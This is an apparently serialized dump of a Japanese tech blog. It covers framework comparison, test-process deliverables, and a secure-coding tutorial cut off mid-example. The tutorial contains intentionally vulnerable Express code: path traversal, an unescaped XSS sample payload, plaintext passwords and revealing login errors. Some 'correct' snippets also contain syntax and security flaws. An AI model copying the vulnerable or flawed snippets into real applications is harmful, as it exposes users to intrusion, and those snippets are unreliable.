Waterlineがインテグレートしてあります。WaterlineはマルチプラットフォームのORMで、データベースと簡単にアクセスでき、コードを変えずに、MySQL、PostgreSQL、MongoDBなどの各データベース管理システムの間にチェンジすることができます。",[1750,20671,20672],{"id":20672},"要件処理とルーティング",[11,20674,20675],{},"Express.jsはミドルウェアを通してフレキシブルに要件の処理とルーティングできることを提供します。ミドルウェアを使って、認証、エラー処理などの要件処理のフローを調整することができます。",[11,20677,20678],{},"Sails.jsはExpress.jsをもとに築かれて、デフォルトなCRUD操作のためのブループリントルートやポリシーベースアクセスコントロールなどの要件処理とルーティングに補足的な機能を提供します。それによって、簡単にアクセス権限管理や RESTful APIを作ることができます。",[11,20680,20681],{},"要するに、Express.jsはあなたが好きなりにあっさりとウェブアプリケーションを作ることができるように集中しています。その一方で、Sails.jsはマルチプラットフォームやリアルタイムのウェブアプリケーションのデータベース管理サポート、ブループリントルート、socket.ioなどの機能の包括的なフレームワークを提供しています。",[487,20683,7231],{"id":7231},[11,20685,20686],{},"Express.jsとSails.jsとどちら使ったらいいか案件の要求によって、判断されます。高いフレキシブルやカスタマイズ性を求めているとしたら、Express.jsが適当な選択です。また、拡張的な機能がついている包括的なフレームワークでアプリケーションを簡単に作りたい場合、Sails.jsがぜひ役に立ちます。",[487,20688,5084],{"id":5084},[11,20690,20691,20692],{},"Express.js Documentation: ",[57,20693,20694],{"href":20694,"rel":20695},"https:\u002F\u002Fexpressjs.com\u002F",[61],[11,20697,20698,20699],{},"Sails.js Documentation: ",[57,20700,20701],{"href":20701,"rel":20702},"https:\u002F\u002Fsailsjs.com\u002Fdocumentation",[61],[11,20704,20705,20706],{},"Official Node.js Documentation: ",[57,20707,20708],{"href":20708,"rel":20709},"https:\u002F\u002Fnodejs.org\u002F",[61],[11,20711,20712,20713],{},"Stack Overflow: ",[57,20714,20715],{"href":20715,"rel":20716},"https:\u002F\u002Fstackoverflow.com\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":20718},[20719,20720,20721,20722,20723],{"id":20142,"depth":1375,"text":20143},{"id":20167,"depth":1375,"text":20168},{"id":20197,"depth":1375,"text":20198},{"id":20321,"depth":1375,"text":20322},{"id":20420,"depth":1375,"text":20421},"2023-10-17",{},"\u002Fja\u002Fnews\u002Fsails-js-mvc-framework-node-js",{"title":20073,"description":20081},"ja\u002Fnews\u002Fsails-js-mvc-framework-node-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fsails.png","YGt6AO04k11RDeBcTLvR1kgwggcxNI9YJyEPjAEO97U",{"id":20732,"title":20733,"body":20734,"category":353,"created by":68,"date":20890,"description":20891,"extension":71,"meta":20892,"navigation":73,"path":20893,"sections":75,"seo":20894,"stem":20895,"thumbnail":20896,"__hash__":20897},"content_ja\u002Fja\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test.md","テスト活動の成果物",{"type":8,"value":20735,"toc":20888},[20736,20739,20744,20747,20752,20755,20758,20763,20766,20769,20774,20777,20780,20785,20788,20791,20796,20799,20809,20812,20817,20820,20823,20834,20837,20840,20843,20846,20849,20852,20869,20874,20877,20880,20882],[11,20737,20738],{},"先日の記事で基本的なテストプロセスにおけるテストの活動について紹介いたしました。今回は、それぞれの活動の成果物を一緒に見ていきましょう。",[11,20740,20741,197],{},[20,20742,20743],{},"テスト計画の作業成果物",[11,20745,20746],{},"テスト計画は、組織のテストポリシーとテスト戦略に従い、プロジェクトごとに作成されます。プロジェクトの規模や対象、テストアイテムの複雑さに応じて、テストアイテム単位やテストレベル単位で計画が策定されることもあります。また、テストプロセスやテストレベルに関する移行基準（終了基準や完了条件も含む）や、成果物のインプットとアウトプットの関連性を説明するトレーサビリティ情報も、テスト計画における成果物となります。  ",[11,20748,20749],{},[20,20750,20751],{},"テストのモニタリングとコントロールの作業成果物",[11,20753,20754],{},"テストの進捗を示すテスト進捗レポートや、各マイルストーンでの成果をまとめたテストサマリーレポートなどが、状況に応じて主要な成果物として作成されます。レポートに含める情報は、プロジェクトやテストレベルによって異なります。",[11,20756,20757],{},"ポイントは、プロジェクトのステークホルダーに対し、必要で的確な情報を含むレポートを適切なタイミングで提供することです。テストプロセスを実施する中で、品質の問題や機能の不十分な実装、リソースの不足といったプロジェクトリスクに関する報告は、迅速な対応が求められます。",[11,20759,20760],{},[20,20761,20762],{},"テスト分析の作業成果物",[11,20764,20765],{},"テスト分析で得られるテスト条件は、テストベースとのトレーサビリティが確保されていなければ、その条件の過不足を正確に確認することができません。同様に、どのテストアイテムやテストレベルでテスト条件の評価- 検証を行うかについても、トレーサビリティが重要です。また、システムや製品にとって優先すべきテスト条件の順位付けに関する情報も、このプロセスにおける成果物の一部です。",[11,20767,20768],{},"さらに、テストベースの分析により発見された欠陥の報告も含まれます。経験ベースのテスト技法を用いる場合、探索的テストでは詳細なテストケースを作成せず、代わりにテストチャーターを作成し、それに基づいてテストの実装- 実行を行います。この際、テストチャーターがテストの品質を左右する主要な成果物となります。",[11,20770,20771],{},[20,20772,20773],{},"テスト設計の作業成果物",[11,20775,20776],{},"テスト設計の成果物には、テスト設計仕様とテストケースが含まれます。テスト設計仕様は、テスト条件を満たすために必要なテストレベルや手法を示し、具体的な入力値や期待値は記載しません。テストケースには、具体的な入力値や期待値、実行順序などを含め、テスト実装が可能となる詳細が記載されます。",[11,20778,20779],{},"実務では、しばしばテスト設計仕様を省略し、テストケースのみで作業成果物とすることがあります。しかし、これではテスト条件の過不足や、変更への対応が難しくなります。高位レベルのテストケースはテスト条件の網羅性を確認でき、仕様の変化にも柔軟に対応できるため、再利用性の高いテスト設計を実現します。",[11,20781,20782],{},[20,20783,20784],{},"テスト実装の作業成果物",[11,20786,20787],{},"テスト実装の成果物は、テスト実行を可能にするための「テストウェア」を指し、テスト手順とその順序、テストスイート、テスト実行スケジュールが含まれます。その他にも、テストデータやスクリプト、環境設定などが成果物となります。テスト対象や環境に応じて、シミュレーションやモックアップを用いることもあります。",[11,20789,20790],{},"どの状況でも、重要なのは、テスト実行時に計画通りに条件を満たしているか確認できるトレーサビリティを維持することです。そのために、抽象的なテスト条件をより具体的に分解することがあります。また、探索的テストでも、テストチャーターを使い、十分なカバレッジと情報を提供する準備が必要です。",[11,20792,20793],{},[20,20794,20795],{},"テスト実行の作業成果物",[11,20797,20798],{},"テスト実行の成果物には以下が含まれます。",[31,20800,20801,20804,20806],{},[34,20802,20803],{},"テストケースや手順のステータスドキュメント（例：実行可能、合格、不合格、ブロック、スキップなど）",[34,20805,20008],{},[34,20807,20808],{},"テストアイテムやテスト対象、テストツール、テストウェアに関するドキュメント",[11,20810,20811],{},"これらの成果物においては、テスト実行の再現性が重要です。特に、故障の報告時には、原因分析と解決のために、故障の再現が必要となります。たとえタイミングの影響で再現が難しい場合でも、解析に十分な情報を提供することが求められます。また、テスト実装段階で設定したテストイベントに対する実行結果や進捗状況といったカバレッジ指標も重要な成果物であり、これらはステークホルダーに提供するテスト進捗レポートとして活用されます。テスト進捗レポートは、テストモニタリングとコントロールの成果物に分類されます。",[11,20813,20814],{},[20,20815,20816],{},"テスト完了の作業成果物",[11,20818,20819],{},"テスト完了の成果物としては、テストが完了したことをステークホルダーに報告し理解を得るためのテストサマリーレポートが含まれます。テストサマリーレポートは、各マイルストーンごとに作成され、テストモニタリングとコントロールの成果物でもありますが、すべてのテストが終了した後のものはテスト完了の成果物となります。",[11,20821,20822],{},"また、テストレベルの移行やイテレーションの切り替え時には、次のサイクルに引き継ぐ情報として以下の内容が含まれます。",[31,20824,20825,20828,20831],{},[34,20826,20827],{},"テストの改善に役立つ情報",[34,20829,20830],{},"未実行のテストケースや未報告の欠陥など、次サイクルに持ち越すアイテム",[34,20832,20833],{},"テストデータや環境、再利用可能なテストウェア",[11,20835,20836],{},"これらのテストサマリーレポートやテストデータ、テスト環境は次のサイクルでも完了成果物として引き継がれます。",[11,20838,20839],{},"これまで、テストの主な活動についての紹介の完了です。では、皆さんは人の心理とテストにどんな関係があるのか考えたことがありますでしょうか。",[11,20841,20842],{},"ソフトウェアの品質向上には「欠陥の指摘」が重要ですが、開発担当者は指摘を批判と捉えやすく、受け入れがたい場合があります。特に、役割分担やコミュニケーションが不十分だと、テスト担当者が外部の存在と感じられ、反発が生じやすくなります。また、開発者は自分のコードが正しいと確信しがちであり、テスト担当者からの指摘を素直に受け入れにくくなる傾向があります。",[11,20844,20845],{},"テスト担当者の指摘は品質向上に貢献しますが、開発者にはコストがかかるため、生産性と結びつかないと感じられることもあります。そのため、テスト活動の重要性を理解してもらうための説明や信頼関係の構築が必要です。欠陥の指摘を「品質向上のための確認」として捉え、改善点を共に説明することで、開発者との良好な関係が築けます。",[11,20847,20848],{},"テスト担当者には、信頼関係を構築するためのコミュニケーション能力が求められます。テストの進捗や欠陥数などを継続的に伝え、テスト活動の目的を共有することで、関係の円滑化が図れます。また、レビューやテストの内容を事前に知らせて合意を得るなど、良好な協力体制が促進されます。",[11,20850,20851],{},"下記がコミュニケーションを適切に行う方法です。",[31,20853,20854,20857,20860,20863,20866],{},[34,20855,20856],{},"対決ではなく、協調姿勢で開始する。全員のゴールは、高品質のシステムであることを再認識するとよい。",[34,20858,20859],{},"テストの利点を強調する。例えば、開発担当者に対しては、欠陥情報は、作業成果物の品質向上と開発担当者のスキル向上に役立つ。組織に対しては、欠陥をテストで検出して修正することで、時間と経費の節約になり、プロダクト品質の全体的なリスクも減る。",[34,20861,20862],{},"テスト結果や他の発見事項は、中立な立場で、事実に焦点を当てて伝え、欠陥を作りこんだ担当者を非難しないようにする。客観的かつ事実に基づいた欠陥レポートを書いたり、発見事項をレビューしたりする。",[34,20864,20865],{},"他人の気持ちや、他人が情報に対して否定的に反応した理由を理解するように協力する。",[34,20867,20868],{},"自分の言ったことを他人が理解し、他人の言ったことを自分が理解していることを確認する。",[11,20870,20871],{},[20,20872,20873],{},"テスト担当者と開発担当者のマインドセット",[11,20875,20876],{},"開発担当者とテスト担当者は、目的が異なるため活動内容やアプローチも違います。開発担当者は顧客の要求に応えるためにシステムやソフトウェアを設計し、設計書やプログラムなどの成果物を作成します。一方、テスト担当者は品質確認や欠陥検出を目的とし、静的- 動的テストや欠陥の報告、品質情報の提供といった作業を行います。お互いのマインドセットは異なりますが、相互に補完し合うことで、より高品質なプロダクトの開発に貢献します。",[11,20878,20879],{},"また、開発モデルによって担当者の役割や視点も変わります。ウォーターフォール型では工程ごとに進め、スパイラルやインクリメンタルのようなモデルでは、より柔軟な対応が求められます。特に大規模なプロジェクトや安全性が求められる分野では、独立したテスト担当者が欠陥を発見しやすく、医療や金融などの専門知識が必要な分野でも、そのスキルが活かされます。",[11,20881,3615],{},[11,20883,20884],{},[57,20885,20886],{"href":20886,"rel":20887},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-3-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":20889},[],"2024-11-28","先日の記事で基本的なテストプロセスにおけるテストの活動について紹介いたしました。今回は、それぞれの活動の成果物を一緒に見ていきましょう。テスト計画の作業成果物",{},"\u002Fja\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test",{"title":20733,"description":20891},"ja\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F26131115\u002FScreenshot-2024-11-26-131026.png","lgnhDE27uDZzvz-82fWUgl7yZec4cOuabdXmHtLP4vQ",{"id":20899,"title":20900,"body":20901,"category":1388,"created by":68,"date":21970,"description":21971,"extension":71,"meta":21972,"navigation":73,"path":21973,"sections":75,"seo":21974,"stem":21975,"thumbnail":21976,"__hash__":21977},"content_ja\u002Fja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan.md","セキュアコーディングおよび安全なアプリ開発のベスト手法",{"type":8,"value":20902,"toc":21944},[20903,20906,20909,20912,20916,20919,20939,20942,20945,20948,20951,20954,20957,20960,20965,20971,20974,20977,20983,20986,20989,20992,20995,20998,21000,21004,21010,21013,21017,21023,21026,21029,21032,21035,21038,21041,21044,21047,21050,21053,21056,21059,21062,21065,21069,21075,21078,21081,21085,21091,21094,21097,21100,21103,21106,21109,21112,21115,21118,21120,21124,21130,21133,21137,21143,21146,21149,21152,21155,21158,21161,21164,21167,21170,21173,21175,21179,21185,21188,21192,21198,21201,21204,21207,21210,21230,21233,21236,21239,21242,21245,21247,21251,21257,21260,21264,21270,21273,21276,21279,21282,21285,21288,21291,21294,21297,21299,21303,21309,21312,21316,21322,21325,21328,21331,21334,21337,21340,21343,21346,21350,21356,21364,21368,21374,21385,21388,21391,21394,21397,21400,21403,21406,21409,21411,21415,21421,21424,21428,21434,21437,21440,21443,21446,21449,21452,21455,21458,21461,21464,21467,21471,21477,21480,21484,21490,21493,21496,21499,21502,21505,21508,21511,21514,21517,21520,21524,21530,21533,21537,21543,21546,21549,21553,21556,21559,21565,21568,21574,21577,21580,21586,21589,21594,21605,21609,21612,21615,21661,21665,21676,21682,21685,21688,21691,21697,21700,21706,21709,21715,21718,21723,21726,21732,21735,21741,21744,21750,21754,21794,21799,21802,21804,21807,21813,21816,21819,21821,21827,21830,21833,21836,21840,21843,21847,21861,21865,21868,21870,21879,21882,21885,21889,21900,21902,21905,21908,21914,21920,21926,21932,21938],[495,20904,20905],{"id":20905},"セキュアコーディングについての紹介",[11,20907,20908],{},"セキュア コーディングは、アプリケーションを安全に開発することを目的にして、侵入者やハッカーからの攻撃を防ぐために脆弱性を最小限に抑え、安全性の高いソース コードを作成するプロセスです。",[11,20910,20911],{},"セキュアでないコードは、ソフトウェアにおける多くのセキュリティ問題の主な原因です。 コード内のエラーは、セキュリティの脆弱性、データへの不正アクセス、侵入、さらにはシステムやユーザーへの損害などの深刻な問題を引き起こす可能性があります。セキュア コーディングにより、アプリケーションとシステムは開発から展開段階まで正しく、安全に記述されることが保証されます。",[495,20913,20915],{"id":20914},"なぜセキュアコーディングが重要なのか","なぜ、セキュアコーディングが重要なのか？",[11,20917,20918],{},"セキュアコーディングは、アプリやシステムへの攻撃やセキュリティの脆弱性から守るのに重要な役割を果たすため、ソフトウェア開発の分野においては非常に重要なことです。 セキュア コーディングはなぜ重要なのか、以下のとおりにいくつかの理由があります。",[199,20920,20921,20924,20927,20930,20933,20936],{},[34,20922,20923],{},"データ保護：セキュアコーディングは、ユーザーと組織の重要な情報への不正アクセス、改ざん、盗難から避けるのに役立ちます。 アプリが安全に作成されていない場合、機密情報が漏洩し、資産の損失、組織の評判、データ セキュリティ規制の違反などの深刻な問題につながる可能性があります。",[34,20925,20926],{},"攻撃の防止：セキュアコーディングにより、侵入者やハッカーからの攻撃を最小限に抑えることができます。 入力データを処理およびフィルタリングすることで、SQL インジェクション、クロスサイト スクリプティング (XSS)、クロスサイト リクエスト フォージェリ (CSRF)、コマンド インジェクション、クロスサイト スクリプト インクルージョン (XSSI)、サーバーサイド リクエスト、偽造（SSRF）などの一般的な攻撃を防ぐことができます。",[34,20928,20929],{},"可用性と信頼性の確保：セキュアコーディングで実装されたアプリのほうが安定して確実に動作します。 エラーとセキュリティの脆弱性を最小限に抑えることで、望ましくないインシデントを回避し、システムの可用性を維持することができます。",[34,20931,20932],{},"損害の最小限：安全に実装されないアプリは攻撃され、システムとユーザーに深刻な損害を及ぼす可能性があります。セキュアコーディングで攻撃されたときのリスクと損害を最小限に抑えることができます。",[34,20934,20935],{},"セキュリティ標準および規制の遵守：セキュアコーディングは、組織および業界のセキュリティ規制を満たすのに役立ちます。 医療や金融などの多くの業界は、セキュリティとデータ保護に対する厳しい規制があります。 これらの規制に従い、プライバシー権とセキュリティ規制を違反しないように、安全なコーディングを採用する必要があります。",[34,20937,20938],{},"信頼と評判の向上：アプリの安全性とセキュリティ性は、組織に対する信頼と肯定的な評判に貢献します。 アプリが安全であれば、アプリを利用しているユーザーや顧客はより組織に信頼するようになります。",[11,20940,20941],{},"要するに、セキュアコーディングは、アプリとシステムへの攻撃や脆弱性から守るための中核です。 これにより、ソフトウェアのセキュリティと信頼性が確保され、ユーザーと組織のデータが守られ、セキュリティ要件と標準を満たすことができます。",[495,20943,20944],{"id":20944},"セキュアコーディングにおける重要な原則と手法",[660,20946,20947],{"id":20947},"入力のバリデーションチェック",[11,20949,20950],{},"次の処理に進む前に、クライアントとサーバーの両方ですべての入力値を検証する必要です。",[11,20952,20953],{},"バリデーションエラーのデータはただちに拒否し、次の処理を実行させません。 無効なデータが入力されたというメッセージなどを返し、ユーザーに通知します。",[11,20955,20956],{},"GET ファイルなどのデータ取得のナビゲーション プロセスは、ユーザーの入力からファイル名を直接取得せずに、file_id などの定数を介して取得したほうがよいです。",[11,20958,20959],{},"以下は、Express.js フレームワークを使用する Nodejs コードです。",[11,20961,20962],{},[20,20963,20964],{},"正しいコード",[696,20966,20969],{"className":20967,"code":20968,"language":701},[699],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;\n \nenum File {\n  1: 'example.txt',\n  2: 'example2.txt'\n}\n \n\u002F\u002F ファイルのデータを取得するルート\napp.get('\u002Ffile', async (req, res) => { \n  if (isNaN(req.query.fileId)) {\n    return res.status(400).send('fileId は数値'); \n  }\n \n  try { \n    const filePath = `.\u002Ffiles\u002F${File[req.query.fileId]}`;  \n \n    \u002F\u002F ファイルの内容を読み込む\n    const fileContent = await fs.readFile(filePath, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('ファイルの読み込むとき、エラーが発生した。'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n",[703,20970,20968],{"__ignoreMap":64},[11,20972,20973],{},"この例では、ユーザー データからファイル名を直接取得しなくて、ユーザーが送信したファイルのid を使用して、アクセスファイル パスを取得します。 これで望ましくないアクセスなどのセキュリティ脆弱性の問題が回避されます。",[11,20975,20976],{},"正しくないコード",[696,20978,20981],{"className":20979,"code":20980,"language":701},[699],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;  \n \n\u002F\u002F ファイルからデータを取得するルート \napp.get('\u002Ffile', async (req, res) => {  \n  try {  \n    \u002F\u002F ユーザーの入力のファイル名を使用して、ファイルの内容を読み込む\n    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('ファイルを読み込む際にエラーが発生しました。'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,20982,20980],{"__ignoreMap":64},[11,20984,20985],{},"この例では、ユーザーが入力したデータのファイル名を使用しました。 これで望ましくないアクセスなどのセキュリティ脆弱性の問題が発生します。",[660,20987,20988],{"id":20988},"出力エンコーディング",[11,20990,20991],{},"エンコードが必要なすべての出力データは、クロスサイト スクリプティング (XSS) の脆弱性を避けるように、HTML エンティティ エンコードを使用してデータ エンコードを実行することができます。",[11,20993,20994],{},"コマンド インジェクションに関連するエラーを回避するように、オペレーティング システム コマンドに関連するデータをきれいにします。",[11,20996,20997],{},"データを表示するときにSQL インジェクション関連の脆弱性を避けるように、SQL クエリのデータをクリアします。",[11,20999,20959],{},[11,21001,21002],{},[20,21003,20964],{},[696,21005,21008],{"className":21006,"code":21007,"language":701},[699],"const express = require('express'); \nconst escapeHtml = require('escape-html');\nconst app = express(); \nconst port = 3000; \n \napp.get('\u002FcustomerProfile', (req, res) => { \n  const customer = { \n    name: \"test\", \n    note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n  }; \n \n  const encodedCustomerNote = escapeHtml(customer.note);\n \n  res.send(` \n    \u003Ch1>こんにちは、 ${customer.name}!\u003C\u002Fh1> \n    \u003Cp>${encodedCustomerNote}\u003C\u002Fp> `\n  ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n",[703,21009,21007],{"__ignoreMap":64},[11,21011,21012],{},"以上のコードでは、HTMLを入れる前にescape-htmlライブラリを使用して、customer.noteの内容をエンコードしました。こうしたら、どの悪意のあるJavaScriptコードでもエンコードされて、普段の文章に表示されますので、実行できません。",[11,21014,21015],{},[20,21016,20976],{},[696,21018,21021],{"className":21019,"code":21020,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\napp.get('\u002FcustomerProfile', (req, res) => { \n const customer = { \n   name: \"test\", \n   note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n }; \n \n res.send(` \n   \u003Ch1>こんにちは、 ${customer.name}!\u003C\u002Fh1> \n   \u003Cp>${customer.note}\u003C\u002Fp> `\n ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21022,21020],{"__ignoreMap":64},[11,21024,21025],{},"上記のコードではお客様の情報を返しています。しかし、customer.noteの変数では悪意のあるJavaScriptコードが含まれていて、ブラウザーがこのコードを表示させたら、XSS攻撃を引き起こします。",[660,21027,21028],{"id":21028},"認証とパスワードの管理",[11,21030,21031],{},"重要なソースに対して、公開アクセスをさせずに、認証が必要です。Css、js...などのオープンソースに対しては認証がいりません。",[11,21033,21034],{},"Oauth2、もしくはGoogle authication、Facebook authenticationなどの提供されている認証仕組みを使用してもよいです。",[11,21036,21037],{},"提供されているライブラリが利用できるパスワードをエンコードしなければなりません。",[11,21039,21040],{},"ユーザーがログインする際に、ユーザー名、またはパスワードが間違った場合、ハッカーにデータを集めらせないように具体的に「ユーザー名が正しく入力されていません」、もしくは「パスワードが正しく入力されていません」というようなメッセージの代わりに、単に「ログイン情報が正しく入力されていません」と知らせたらいいです。",[11,21042,21043],{},"外部のシステムがデータを取得するために（APIやウェブサービスなど通して）、私たちのシステムに接続したら、認証を実行する必要があります。",[11,21045,21046],{},"***形式に表示されている読めないパスワードや認証リクエストにHTTP POSTを使用します。",[11,21048,21049],{},"アカウントのパスワードが強いほうがいいです。強いパスワードは少なくとも1 つの大文字、1 つの小文字、1 つの数字、1 つの特殊文字を含めて、文字数が 8 文字以上のものです。",[11,21051,21052],{},"パスワードのリセットリンクの期限が短いほうがいいです。",[11,21054,21055],{},"重要な作業に対して、2FA認証仕組みを設定する必要があります。",[11,21057,21058],{},"パスワードの更新頻度やパスワードの再利用を避ける仕組みを設定するのも必要です。",[11,21060,21061],{},"最初のログインでは一時的なパスワードの変更をさせて、認証情報を何度か正しく入力しないとアカウントをロックさせる仕組みを設定します。",[11,21063,21064],{},"以下は、Express.js フレームワークを使用した Nodejs コードです。",[11,21066,21067],{},[20,21068,20964],{},[696,21070,21073],{"className":21071,"code":21072,"language":701},[699],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F たとえこちらはユーザの情報を格納するデータベース \nconst users = []; \n \napp.use(express.json()); \n \n\u002F\u002F ユーザー登録\napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n \n \u002F\u002F ユーザーが存在していることを確認する\n if (users.find(user => user.username === username)) {\n   return res.status(400).json({ error: 'ユーザーが存在しています。' }); \n } \n \n \u002F\u002F データベースに格納する前、パスワードをエンコードする \n const hashedPassword = await bcrypt.hash(password, 10); \n \n \u002F\u002F ユーザー情報をデータベースへ格納する  \n users.push({ username, password: hashedPassword }); \n  \n return res.status(201).json({ message: '登録が成功しました。' }); \n}); \n \n\u002F\u002F ログイン \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n \n \u002F\u002F データベースからユーザー情報を検索する \n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'ログイン情報が正しく入力されていません。' }); \n } \n \n \u002F\u002F エンコードしたパスワードと比較する \n const isPasswordValid = await bcrypt.compare(password, user.password); \n if (!isPasswordValid) { \n  return res.status(401).json({ error: 'ログイン情報が正しく入力されていません。' }); \n } \n\n return res.status(200).json({ message: 'ログインが成功しました。' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21074,21072],{"__ignoreMap":64},[11,21076,21077],{},"上記のコードにおいて、アカウントを登録するとき、パスワードはデータベースに格納する前に、エンコードされて、普通の文字として格納されないので、アプリケーションのセキュリティを向上させます。",[11,21079,21080],{},"ユーザーがログインする際、入力したパスワードをデータベースに格納しているエンコードされたパスワードと比較して、ユーザー名、またはパスワードを正しく入力していない場合、ハッカーに情報を集めさせないように「ログイン情報が正しく入力されていません。」という共通メッセージを出力します。",[11,21082,21083],{},[20,21084,20976],{},[696,21086,21089],{"className":21087,"code":21088,"language":701},[699],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F たとえこちらはユーザの情報を格納するデータベース\nconst users = []; \n\napp.use(express.json()); \n\n\u002F\u002F ユーザー登録 \napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n\n \u002F\u002F ユーザーが存在していることを確認する \n if (users.find(user => user.username === username)) {\n  return res.status(400).json({ error: 'ユーザーが存在しています。' }); \n } \n\n \u002F\u002F パスワードをエンコードなしでデータベースに格納する\n users.push({ username, password}); \n \n return res.status(201).json({ message: '登録が成功しました。' }); \n}); \n\n\u002F\u002F ログイン \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n\n \u002F\u002F データベースからユーザーの情報を検索する\n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'ユーザー名が正しく入力されていません。' }); \n } \n\n \u002F\u002F パスワードを比較する\n if (password !== user.password) { \n  return res.status(401).json({ error: 'パスワードが正しく入力されていません。' }); \n } \n\n return res.status(200).json({ message: 'ログインが成功しました。' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21090,21088],{"__ignoreMap":64},[11,21092,21093],{},"上記のコードにおいて、ユーザーがアカウントを登録する時、パスワードがデータベースに格納する前にエンコードされないので、アプリケーションのセキュリティ標準に違反します。",[11,21095,21096],{},"ユーザーがログインする際、ユーザー名、またはパスワードを正しく入力していないと、「ユーザー名が正しく入力されていません。」や「パスワードが正しく入力されていません。」などの具体的なエラーメッセージが出力されているというセキュリティ脆弱性があります。",[660,21098,21099],{"id":21099},"セッションの管理",[11,21101,21102],{},"idを使用するセッションを作成するには、セッション スニッフィングや推測攻撃が回避できるように偶然性を確保しなければなりません。",[11,21104,21105],{},"ログアウトしたら、すぐにセッションを終わらせます。",[11,21107,21108],{},"ログアウト機能はユーザーがログアアウトしたいときはログアウトできるように、認証したすべてのサイトにつかなければなりません。",[11,21110,21111],{},"不正アクセスを制限するために、一人のユーザーにセッションが2つ以上同時に存在することを許可しません。",[11,21113,21114],{},"再認証の時、元のバージョンと重複ならないように新しいidのセッションを生成する必要があります。",[11,21116,21117],{},"セッションの有効期限を設定したほうがいいです。",[11,21119,21064],{},[11,21121,21122],{},[20,21123,20964],{},[696,21125,21128],{"className":21126,"code":21127,"language":701},[699],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F ミドルウェアセッションを利用する  \napp.use(session({ \n secret: 'secretKey', \n resave: true, \n saveUninitialized: true,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F たとえ、こちらはユーザーの情報を格納するデータベース \nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Kユーザーがログインしていることを確認する\nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: '続行するには、ログインしてください。' }); \n} \n \n\u002F\u002F ログイン \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'ユーザー名、またはパスワードが正しく入力されていません。' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'ログインが成功しました。' }); \n}); \n  \n\u002F\u002F ログインした後、ユーザーの情報を表示する\napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `個人情報：${username}`}); \n}); \n \n\u002F\u002F ログアウト \napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n req.session.destroy(); \n return res.status(200).json({ message: 'ログアウトが成功しました。' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21129,21127],{"__ignoreMap":64},[11,21131,21132],{},"上記の例では、ユーザーがログインに成功したら、ユーザー名をセッションに格納して、セッションの切れ時間は一日間と設定します。 \u002Fprofileと\u002Flogoutルートはログインしているユーザーのみアクセスさせて、ログインしている状態を確認するために、セッションの情報を検証します。ユーザーがログアウトしたら、このセッションを終了して、ユーザーが再ログインするときに、また新しいセッションを生成します。",[11,21134,21135],{},[20,21136,20976],{},[696,21138,21141],{"className":21139,"code":21140,"language":701},[699],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F ミドルウェアセッションを利用する  \napp.use(session({ \n secret: 'secretKey', \n resave: false, \n saveUninitialized: false,\n})); \n\napp.use(express.json()); \n\n\u002F\u002F たとえ、こちらはユーザーの情報を格納するデータベース\nconst users = [ { username: 'test', password: 'password_hash' } ]; \n\n\u002F\u002F ユーザーがログインしていることを確認する \nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: '続行するには、ログインしてください。' }); \n} \n\n\u002F\u002F ログイン \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 